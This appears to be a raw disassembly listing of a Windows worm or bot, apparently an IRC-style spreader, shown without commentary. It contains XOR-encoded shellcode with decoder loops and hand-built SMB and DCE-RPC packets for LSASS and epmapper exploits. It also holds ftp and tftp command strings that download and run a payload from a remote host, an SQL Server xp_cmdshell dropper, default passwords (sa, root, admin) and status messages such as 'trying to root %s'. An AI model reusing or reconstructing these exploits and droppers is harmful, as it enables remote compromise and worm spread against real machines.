		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_425290	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_4033C9+101o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_425378	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_40381E+7Fo
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_425404	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40381E+AAo
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
dword_4254B0	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40381E+CFo
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_425590	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4033C9+57o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC:					; DATA XREF: sub_4033C9+86o
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_4255F4	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4033C9+2B0o
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_425660	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4033C9+2DBo
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_425704	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4033C9+3C3o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_425784	dd offset loc_401495	; DATA XREF: sub_4033C9+3F1o
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset sub_40707C
		dd 1, 0
		dd 1, 0
		dd offset sub_40707C
		dd 1, 0
		dd 1, 0
		dd offset sub_40707C
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_425818	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4033C9+314o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_425884	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4033C9+33Fo
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_4258F8	dd 0				dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 2	dup(0)
word_425980	dw 0AD9Dh		; DATA XREF: sub_40327E+30r
					; sub_4033C9+E3r
		align 4
		dd 2 dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 10h
dword_4259C0	dd 1004600h						; sub_4033C9+240r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
dword_425A78	dd 0A0D7325h, 0						; sub_404197+102o ...
aEchoOpenSDEqEc	db 'echo open %s %d >> eq&echo user %s %s >> eq &echo get %s >> eq &e'
					; DATA XREF: sub_40327E+A4o
		db 'cho quit >> eq &ftp -n -s:eq &%s',0Dh,0Ah,0
; ---------------------------------------------------------------------------


loc_425AE4:				; DATA XREF: sub_4033C9+171o
					; sub_4042F8+177o
		jmp	short loc_425AEC
; ---------------------------------------------------------------------------
		jmp	short loc_425AEE
; ---------------------------------------------------------------------------
		dd 0
; ---------------------------------------------------------------------------


loc_425AEC:				; CODE XREF: ___:loc_425AE4j
					; DATA XREF: sub_4033C9+27o ...
		pop	esp
		pop	esp


loc_425AEE:				; CODE XREF: ___:00425AE6j
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_425AF8	dd 1CEC8166h						; sub_4042F8+Dr
dword_425AFC	dd 0E4FF07h						; sub_4042F8+16r
unk_425B00	db    2			; DATA XREF: sub_40381E+173o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUsingSExploitA	db ' using %s exploit and sending file to %s',0
		align 4
dword_425B44	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0					; sub_403E35+21Bo
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_425B90	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_403BE2+123o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_425EF4	dd 20h,	0			dd 20h,	5C005Ch, 0
off_425F08	dd offset off_43005C	; DATA XREF: sub_403BE2+15Do
		dd offset dword_5C0024
a12345611111111:
		unicode	0, <123456111111111111111.doc>,0
		align 8
dword_425F48	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
off_425F7C	dd offset loc_580044+2	; DATA XREF: sub_403BE2+45o
		dd offset loc_42004D+1
		dd offset loc_580044+2
		dd offset loc_580044+2
		dd offset loc_42004D+1
		dd offset loc_580044+2
		dd offset loc_580044+2
		dd offset loc_580044+2
		dd offset loc_580044+2
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db ''
		db ''
		db '',0
dword_426058	dd 18759Fh	dword_42605C	dd 100139Dh	off_426060	dd offset dword_5C005C	; DATA XREF: sub_403A47+1Co
					; sub_403B2A+16o
		align 8
off_426068	dd offset dword_49005C	; DATA XREF: sub_403A47+Co
					; sub_403B2A+Bo
		dd offset off_430050
		dd 24h
unk_426074	db    2			; DATA XREF: sub_403E35+2E9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 25h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aTryingToRootS	db ' trying to root %s',0
		align 10h
unk_4260A0	db    2			; DATA XREF: sub_403E35+29Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTransferComple	db '  transfer complete to IP: %s',0
		align 4
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_403E35+41o
		align 10h
		jmp	short loc_426102

; =============== S U B	R O U T	I N E =======================================



sub_4260F2	proc far		; CODE XREF: sub_4260F2:loc_426102p
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_4260FA:				; CODE XREF: sub_4260F2+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_4260FA
		jmp	short loc_426107
; ---------------------------------------------------------------------------


loc_426102:				; CODE XREF: ___:004260F0j
		call	near ptr sub_4260F2


loc_426107:				; CODE XREF: sub_4260F2+Ej
		jo	short loc_42616B
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_426189
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_42616B:				; CODE XREF: sub_4260F2:loc_426107j
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_426189:				; CODE XREF: sub_4260F2+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_4260F2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_426230:				; DATA XREF: sub_4042F8+156o
					; sub_4042F8+212o
		jmp	short loc_426242

; =============== S U B	R O U T	I N E =======================================



sub_426232	proc near		; CODE XREF: sub_426232:loc_426242p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_42623A:				; CODE XREF: sub_426232+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_42623A
		jmp	short loc_426247
; ---------------------------------------------------------------------------


loc_426242:				; CODE XREF: ___:loc_426230j
		call	sub_426232


loc_426247:				; CODE XREF: sub_426232+Ej
		jo	short near ptr dword_4261C0+1Eh
		cwde
		cdq
		cdq
		retn
sub_426232	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_4262E0	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_4042F8+105o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_4263C8	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_404737+85o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_426454	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_404737+B1o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_0:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_1:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
dword_426500	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_404737+D8o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_4265E0	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4042F8+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_0:					; DATA XREF: sub_4042F8+8Ao
		unicode	0, <C$>,0
a?????_0	db '?????',0
		dd 0
dword_426644	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4042F8+2AAo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_4266B0	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4042F8+2D1o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_426754	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4042F8+3B0o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_4267D4	dd offset loc_401495	; DATA XREF: sub_4042F8+3DEo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset sub_40707C
		dd 1, 0
		dd 1, 0
		dd offset sub_40707C
		dd 1, 0
		dd 1, 0
		dd offset sub_40707C
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_426868	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4042F8+306o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_4268D4	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4042F8+331o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_426948	dd 0				dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 3	dup(0)
aWinxpProfess_0	db 'WinXP Professional    [universal] lsass.exe ',0
		align 8
dword_426A08	dd 1004600h						; sub_4042F8+245r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
					; DATA XREF: sub_404197+BEo
		db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_404197+97o
unk_426B40	db    2			; DATA XREF: sub_404737+17Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 25h,	73h, 2Eh
		db  65h	; e
		db 1Fh,	78h, 1Fh
		db  70h	; p
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aTryingToRoot_0	db ' trying to root %s',0
		align 4
unk_426B6C	db    2			; DATA XREF: sub_404969+22Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Dh,	73h, 71h
		db  6Ch	; l
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aAttemptingToRo	db ' attempting to root (%s:%d) user: (%s/%s).',0
unk_426BB0	db    2			; DATA XREF: sub_404969+1ABo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileTransferCo	db '  File transfer complete to IP: %s',0
aExecMaster___0	db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0 ; DATA XREF: sub_404969+196o
		align 4
; aExecMaster(long long, *)
aExecMaster__xp	db 'EXEC master..xp_cmdshell ',27h,'del eq&echo open %s %d >> eq&echo us'
					; DATA XREF: sub_404969+162o
		db 'er %d %d >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq '
		db '&%s&del eq',0Dh,0Ah
		db 27h,0
		align 4
aDriverSqlServe	db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0
					; DATA XREF: sub_404969+C6o
		align 10h
aAdmin		db 'admin',0            ; DATA XREF: sub_404969+2Bo
					; ___:0042EF04o
		align 4
aRoot		db 'root',0             ; DATA XREF: sub_404969+24o
					; ___:0042EF0Co ...
		align 10h
aSa		db 'sa',0               ; DATA XREF: sub_404969+19o
		align 4
		dd 0C933FA8Bh, 909035B2h, 0C1816690h, 0C7830138h
		db 1Ah
; ---------------------------------------------------------------------------


loc_426CF5:				; CODE XREF: ___:00426CFCj
		mov	bl, [edi]
		xor	bl, dl
		mov	[edi], bl
		inc	edi
		loop	loc_426CF5
		ficom	word ptr [esi]
		dec	edi
		pop	esp
		aaa
		xor	[ecx+6Ch], bl
; ---------------------------------------------------------------------------
		dw 28CDh
		dd 0E4B9EBA9h, 36E14579h, 151512C5h, 66623D05h,	7066A07h
		dd 7979711Bh, 0DD30DE34h, 0CACACACCh, 1FD8B668h, 516C055Fh
		dd 75BE34BEh, 2945BE39h, 3D4DBE98h, 0BE096AB8h,	0BECE342Eh
		dd 0CE344D6Eh, 34297EBEh, 1166BECCh, 6466CF34h,	156EBE67h
		dd 0FC04CE34h, 0ACF50474h, 34BE01BEh, 0F70499CBh, 0F5B1D7E4h
		dd 833AC240h, 71B83070h, 0C533170h, 53D44025h, 6D6F2504h
		dd 6765636Bh, 74257B1Eh, 7F39823Ah, 34BD31BEh, 78833ACDh
		dd 0B871BC30h, 3078CBEDh, 78CB8B40h, 0CB144131h, 68B81778h
		dd 0E5CA662Dh, 315FF2BCh, 3070BD6Dh, 3F4270B5h,	0B54168B8h
		dd 0DC21135Eh, 0CACACA4Dh, 0EE04FBBCh, 66666666h, 0CA637363h
		dd 6D60A2E5h, 5F05BC53h, 0CA626025h, 637BE160h,	0F960CA62h
		dd 0CA626066h, 0B8A2E560h, 0CA65BD70h, 6060D160h, 0B8DD60CAh
		dd 0A1393071h, 501B5D66h, 695D504Dh, 0A1515856h, 70B8E704h
		dd 6262A1F9h, 0CB666662h, 67C734F3h, 4D70B8A1h,	0BD70B865h
		dd 663D8465h, 0CB255F66h, 666667FBh, 60CA6066h,	0CACA5FD9h
		dd 0D560h, 7A69h, 0
